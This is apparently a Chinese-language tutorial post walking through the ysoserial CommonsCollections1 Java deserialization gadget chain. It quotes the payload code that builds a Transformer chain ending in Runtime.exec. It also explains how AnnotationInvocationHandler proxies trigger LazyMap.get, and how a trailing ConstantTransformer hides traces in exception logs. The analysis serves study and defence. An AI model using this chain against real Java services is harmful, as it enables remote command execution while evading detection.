CommonsCollections1

CommonsCollections1

Tip

阅读本文章前,建议先了解前置知识。

利用链全览 & 依赖#

Text
/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

依赖:

  • Apache Commons Collections 3.1 ~ 3.2.1
  • JDK 主版本小于 8 或 JDK 8 且 update 小于等于 71(即 JDK 8u71)

环境准备#

直接克隆 ysoserial 仓库:

Bash
git clone https://github.com/frohoff/ysoserial.git

随后用 IDEA 打开该仓库。

Payload 所在的路径:src/main/java/ysoserial/payloads/CommonsCollections1.java

pom.xml 中准备的 Apache Commons Collections 的版本是 3.1:

XML
<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.1</version>
</dependency>

Maven 依赖仅会下载依赖对应的 jar 文件,并不会下载源码,而后续分析会涉及到源码,建议下载(否则只能看到 IDEA 反编译后的代码):

在 IDEA 的右侧有 Maven 选项卡,打开后能看到所有的“依赖项”:

下载方式:选中要源码的依赖 → 下载源代码

讲解#

LazyMap.get()#

先从 LazyMap 类的 get 方法看起:

Java
public Object get(Object key) {
	// create value for key if key is not currently in the map
	if (map.containsKey(key) == false) {
		Object value = factory.transform(key);
		map.put(key, value);
		return value;
	}
	return map.get(key);
}

如果 map 中的 key 尚未存在(一个空的 map 就可以做到),则会执行:

Java
factory.transform(key)

其中,factory 是 LazyMap 中的一个属性,是一个实现了 Transformer 接口的类的实例:

Java
protected final Transformer factory;
Java
package org.apache.commons.collections;

public interface Transformer {

    public Object transform(Object input);

}

而 factory 的赋值可以通过 decorate 方法去调用构造方法传入:

Java
public static Map decorate(Map map, Transformer factory) {
	return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
	super(map);
	if (factory == null) {
		throw new IllegalArgumentException("Factory must not be null");
	}
	this.factory = factory;
}

来看 ysoserial 中的对应部分:

Java
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
		new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
		new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

[snip]

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

[snip]

这里作者先设置了一个无害的链(为了防止在本地生成 Payload 的时候就触发了利用链):

Java
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
	    new Transformer[]{ new ConstantTransformer(1) });

随后构造了一个全都是 Transformer 实例的数组 transformers:

Java
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
		new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
		new ConstantTransformer(1) };

接着,作者将 LazyMap 中的 factory 属性赋值为 transformerChain:

Java
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

接着通过反射,找到 transformerChain 中的 iTransformers 属性,并将其赋值为 transformers:

Java
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
Java
public static Field getField(final Class<?> clazz, final String fieldName) {
	Field field = null;
try {
	field = clazz.getDeclaredField(fieldName);
	setAccessible(field);
	}
	catch (NoSuchFieldException ex) {
		if (clazz.getSuperclass() != null)
			field = getField(clazz.getSuperclass(), fieldName);
	}
	return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
	final Field field = getField(obj.getClass(), fieldName);
	field.set(obj, value);
}	

如果此时,通过某种方式,对 LazyMap.get() 发起了调用,由于之前配置的 innerMap 是空的,按之前说的,会执行:

Java
Object value = factory.transform(key);

切换成赋值后的视角,也就是执行:

Java
transformerChain.transform(key);

来看 ChainedTransformer 中的 transform 方法:

Java
public Object transform(Object object) {
	for(int i = 0; i < this.iTransformers.length; ++i) {
		object = this.iTransformers[i].transform(object);
	}

	return object;
}

它会遍历 iTransformers 数组(已经被赋值为 transformers)中的所有对象,并执行这些对象的 transform 方法。

那么一条条来看 transformers 数组中的内容,首先是:

Java
new ConstantTransformer(Runtime.class),

其构造方法以及 transform 方法很简单,它会直接返回传入的参数对象:

Java
public ConstantTransformer(Object constantToReturn) {
	super();
	iConstant = constantToReturn;
}

public Object transform(Object input) {
	return iConstant;
}

此时得到的 object 为:

Java
Runtime.class

接着看下一条:

Java
new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),

其构造方法以及 transform 方法如下:

Java
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
	super();
	iMethodName = methodName;
	iParamTypes = paramTypes;
	iArgs = args;
}

public Object transform(Object input) {
	if (input == null) {
		return null;
	}
	try {
		Class cls = input.getClass();
		Method method = cls.getMethod(iMethodName, iParamTypes);
		return method.invoke(input, iArgs);
			
	} catch (NoSuchMethodException ex) {
		throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
	} catch (IllegalAccessException ex) {
		throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
	} catch (InvocationTargetException ex) {
		throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
	}
}

此时的 input 是上一链得到的 object,接着通过反射机制,得到其 getMethod 方法,参数为 getRuntime。

因此,此时的 object 为:

Java
Runtime.class.getMethod("getRuntime", null)

下一条链非常类似,基本就只是换了方法名与参数:

Java
new InvokerTransformer("invoke", new Class[] {
		Object.class, Object[].class }, new Object[] {
		null, new Object[0] }),

因此过程不再赘述,此时的 object 为:

Java
Runtime.class.getMethod("getRuntime", null).invoke(null,null)

下一条链也是类似:

Java
new InvokerTransformer("exec",
		new Class[] { String.class }, execArgs),

此时的 object:

Java
Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec(execArgs)

这段代码就是通过反射机制实现的:

Java
Runtime.getRuntime().exec()

执行到这的时候,攻击者已经达成了命令执行的目的,但是作者还在后面安排了一个:

Java
new ConstantTransformer(1)

对 object 进行置 1 操作(作为最后的返回值):

Java
public ConstantTransformer(Object constantToReturn) {
	this.iConstant = constantToReturn;
}

public Object transform(Object input) {
	return this.iConstant;
}

为什么要改返回值?(了解即可)

不加最后的 ConstantTransformer(1) 时,会抛:

Text
ClassCastException: java.lang.ProcessImpl cannot be cast to java.util.Set

日志里直接暴露出 ProcessImpl,特征很明显。

加上之后,返回的是 Integer,异常变成:

Text
ClassCastException: java.lang.Integer cannot be cast to java.util.Set

就看不出“启动了进程”这个痕迹。

所以它的主要目的是降低异常日志的特征(隐蔽性),不是功能上必需的。

AnnotationInvocationHandler#

前面能成功执行命令的前提:触发了 LazyMap.get() 调用。

因此,接下来就是想着如何通过反序列化去自动调用 LazyMap.get(),来看 ysoserial 中对应的代码:

Java
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

ysoserial 项目针对:

  • 创建动态代理(设置 AnnotationInvocationHandler 为处理器)
  • 实例化 AnnotationInvocationHandler

提供了两个语法糖写法,即代码中看到的:

  • Gadgets.createMemoitizedProxy
  • Gadgets.createMemoizedInvocationHandler

createMemoitizedProxy#

先来看:

Java
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
Java
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
	return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}


public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
	return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}


public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
	final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
	allIfaces[ 0 ] = iface;
	if ( ifaces.length > 0 ) {
		System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
	}
	return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

createMemoizedInvocationHandler(lazyMap) 会调用 AnnotationInvocationHandler 的构造方法,并将其中的 memberValues 属性赋值为 LazyMap:

Java
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
	Class<?>[] superInterfaces = type.getInterfaces();
	if (!type.isAnnotation() ||
		superInterfaces.length != 1 ||
		superInterfaces[0] != java.lang.annotation.Annotation.class)
		throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
	this.type = type;
	this.memberValues = memberValues;
}

接着:

Java
createProxy(createMemoizedInvocationHandler(map), iface, ifaces);

会创建一个动态代理,并由上述 AnnotationInvocationHandler 对象作为处理器。

由于后面还会出现一个 AnnotationInvocationHandler 对象,为了避免混淆,这里标记其为 A。

这个动态代理对象会赋值给 mapProxy。

createMemoizedInvocationHandler#

接下来:

Java
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

这个方法上面讲过,这里不赘述。

得到的效果是,动态代理对象 mapProxy 作为 AnnotationInvocationHandler 构造方法的参数,使得属性 memberValues 被赋值为 mapProxy。此时得到了第二个 AnnotationInvocationHandler 对象 handler 记为 B。

readObject#

反序列化的时候,JVM 会通过反射机制去调用对象中的 readObject(如果有的话)。

AnnotationInvocationHandler 中是有该方法的:

Java
private void readObject(java.io.ObjectInputStream s)
	[snip]
	Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
	[snip]
	for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
		[snip]
	}
	[snip]
}

根据代码,其中的 streamVals.entrySet(),等价于:

Java
memberValues.entrySet()

在 AnnotationInvocationHandler(B)中,又可以写成:

Java
mapProxy.entrySet()

而 mapProxy 是一个动态代理对象,对其的方法调用,最终都会回归到其处理器(AnnotationInvocationHandler(A))的 invoke() 方法上(这个在这篇笔记中有详细讲解):

Java
AnnotationInvocationHandler.invoke()

注意,此时已经来到 AnnotationInvocationHandler(A),即此时的 memberValues 是 LazyMap 而不是 mapProxy。

Java
public Object invoke(Object proxy, Method method, Object[] args) {
	String member = method.getName();
	[snip]
	Object result = memberValues.get(member);
	[snip]
}

即会调用:

Text
LazyMap.get(member)

这就达成目的了。

参考文章#

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做